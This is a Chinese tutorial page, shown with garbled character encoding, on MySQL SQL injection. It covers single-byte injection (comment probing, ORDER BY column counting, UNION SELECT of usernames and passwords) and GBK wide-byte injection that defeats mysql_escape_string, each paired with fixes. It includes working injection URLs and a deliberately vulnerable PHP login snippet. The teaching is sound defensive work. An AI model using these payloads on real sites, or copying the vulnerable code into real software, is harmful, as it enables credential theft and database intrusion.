解讀MySQL中SQL的單字節(jié)注入與寬字節(jié)注入_Mssql數(shù)據(jù)庫(kù)教程
推薦:關(guān)于Oracle與SQL Server數(shù)據(jù)庫(kù)鏡像的對(duì)比數(shù)據(jù)庫(kù)鏡像是將數(shù)據(jù)庫(kù)事務(wù)處理從一個(gè)數(shù)據(jù)庫(kù)移動(dòng)到不同環(huán)境中的另一個(gè)數(shù)據(jù)庫(kù)中。鏡像的拷貝是一個(gè)備用的拷貝,不能直接訪問(wèn),它只用在錯(cuò)誤恢復(fù)的情況下。Oracle數(shù)據(jù)庫(kù)與MSSQL數(shù)據(jù)操作上有很大的不同,但是,在鏡像操作方面有類比的地方。這篇文章關(guān)于MSSQL數(shù)
一、單字節(jié)SQL注入
MYSQL的SQL注入已經(jīng)由來(lái)已久,以下是普遍采用的注入步驟:
1、在GET參數(shù)上加一個(gè)/*或者#(mysql專有的注釋),判斷數(shù)據(jù)庫(kù)是否是mysql,比如:
http://www.xxx.com.cn/article.php?id=1607 and 1=1/*
2、猜解某表的字段數(shù),從order by 1一直更改到頁(yè)面出錯(cuò)為止,就可以得到該表的字段數(shù)
注入U(xiǎn)RL:http://www.xxx.com.cn/article.php?id=1607 or 1=1 order by 10#
對(duì)應(yīng)的SQL: select * from articles where id=1607 or 1=1 order by 10#3、使用該表和用戶表進(jìn)行關(guān)聯(lián)查詢,在文章列表里就可以看到用戶名和密碼了。當(dāng)也要猜解用戶表的表名和用戶名、密碼的字段名,比如上一步得到的字段數(shù)是5:
注入的URL:http://www.xxx.com.cn/article.php?id=1607 or 1=1 union select username,password,1,2,3 from user
對(duì)應(yīng)的SQL: select * from articles where id=1607 or 1=1 union select username,password,1,2,3 from user
這樣就可以在界面上看到用戶名和密碼了。
解決方法:
過(guò)濾數(shù)據(jù):這并不是羅唆。在合適的地方使用良好的數(shù)據(jù)過(guò)濾,可以減小多數(shù)安全隱患,甚至可以消除其中的一部分。
將數(shù)據(jù)用括號(hào)包含:如果你的數(shù)據(jù)庫(kù)允許(MySQL 允許),在 SQL 語(yǔ)句中,不論什么類型的數(shù)據(jù)都用單引號(hào)包含起來(lái)。
轉(zhuǎn)義數(shù)據(jù):一些合法的數(shù)據(jù)可能在無(wú)意中破壞 SQL 語(yǔ)句本身的格式。使用 mysql_escape_string() 或者所使用數(shù)據(jù)庫(kù)提供的轉(zhuǎn)移函數(shù)。如果沒有提供這樣的函數(shù),addslashes() 也是不錯(cuò)的最后選擇。
二、寬字節(jié)注入
寬字節(jié)注入也是在最近的項(xiàng)目中發(fā)現(xiàn)的問(wèn)題,大家都知道%df’ 被PHP轉(zhuǎn)義(開啟GPC、用addslashes函數(shù),或者icov等),單引號(hào)被加上反斜杠\,變成了 %df\’,其中\(zhòng)的十六進(jìn)制是 %5C ,那么現(xiàn)在 %df\’ = %df%5c%27,如果程序的默認(rèn)字符集是GBK等寬字節(jié)字符集,則MYSQL用GBK的編碼時(shí),會(huì)認(rèn)為 %df%5c 是一個(gè)寬字符,也就是縗’,也就是說(shuō):%df\’ = %df%5c%27=縗’,有了單引號(hào)就好注入了。比如:
$conn = mysql_connect(”localhost”,”root”,”2sdfxedd”);
mysql_query(”SET NAMES ‘GBK’”);
mysql_select_db(”test”,$conn);
$user = mysql_escape_string($_GET['user']);
$pass = mysql_escape_string($_GET['pass']);
$sql = “select * from cms_user where username = ‘$user’ and password=’$pass’”;
$result = mysql_query($sql,$conn);
while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
{$rows[] = $row;}?>
則通過(guò)以下注入即可:
http://www.xxx.com/login.php?user=%df’%20or%201=1%20limit%201,1%23&pass=
對(duì)應(yīng)的SQL是:
select * from cms_user where username = ‘運(yùn)’ or 1=1 limit 1,1#’ and password=”
解決方法:就是在初始化連接和字符集之后,使用SET character_set_client=binary來(lái)設(shè)定客戶端的字符集是二進(jìn)制的。如:
mysql_query(”SET character_set_client=binary”);
分享:解析關(guān)于SQL Server 2008主要功能的6個(gè)問(wèn)題在許多情況下,當(dāng)遷移至SQL Server 2008之前必須了解那些反對(duì)和放棄功能的具體情況。 下文是幾個(gè)主要功能在兼容性上的問(wèn)題列表: 1.SQL Server Database Engine Backward Compatibility [反對(duì)] - Deprecated Database Engine Features in SQL Server 2008 [
- sql 語(yǔ)句練習(xí)與答案
- 深入C++ string.find()函數(shù)的用法總結(jié)
- SQL Server中刪除重復(fù)數(shù)據(jù)的幾個(gè)方法
- sql刪除重復(fù)數(shù)據(jù)的詳細(xì)方法
- SQL SERVER 2000安裝教程圖文詳解
- 使用sql server management studio 2008 無(wú)法查看數(shù)據(jù)庫(kù),提示 無(wú)法為該請(qǐng)求檢索數(shù)據(jù) 錯(cuò)誤916解決方法
- SQLServer日志清空語(yǔ)句(sql2000,sql2005,sql2008)
- Sql Server 2008完全卸載方法(其他版本類似)
- sql server 2008 不允許保存更改,您所做的更改要求刪除并重新創(chuàng)建以下表
- SQL Server 2008 清空刪除日志文件(瞬間日志變幾M)
- Win7系統(tǒng)安裝MySQL5.5.21圖解教程
- 將DataTable作為存儲(chǔ)過(guò)程參數(shù)的用法實(shí)例詳解
Mssql數(shù)據(jù)庫(kù)教程Rss訂閱編程教程搜索
Mssql數(shù)據(jù)庫(kù)教程推薦
- 通過(guò)SQL繪制楊輝三角的實(shí)現(xiàn)方法介紹
- 解決SQL Server常見四大故障
- 一個(gè)獲取SQL Server數(shù)據(jù)字典的經(jīng)典SQL語(yǔ)句
- 解析數(shù)據(jù)庫(kù)安全管理的三個(gè)經(jīng)驗(yàn)
- 謹(jǐn)記SQL Server索引管理的六大鐵律
- SQL查詢語(yǔ)句精華使用簡(jiǎn)要
- 解讀SQL Server 2008的新語(yǔ)句MERGE
- SQLServer 2008中的代碼安全(四) 主密鑰
- 無(wú)法在 SQL Server 2005 Manger Studio 中錄入中文的
- 關(guān)于Oracle數(shù)據(jù)庫(kù)與SQL Server數(shù)據(jù)庫(kù)鏡像的關(guān)系
- 相關(guān)鏈接:
- 教程說(shuō)明:
Mssql數(shù)據(jù)庫(kù)教程-解讀MySQL中SQL的單字節(jié)注入與寬字節(jié)注入
。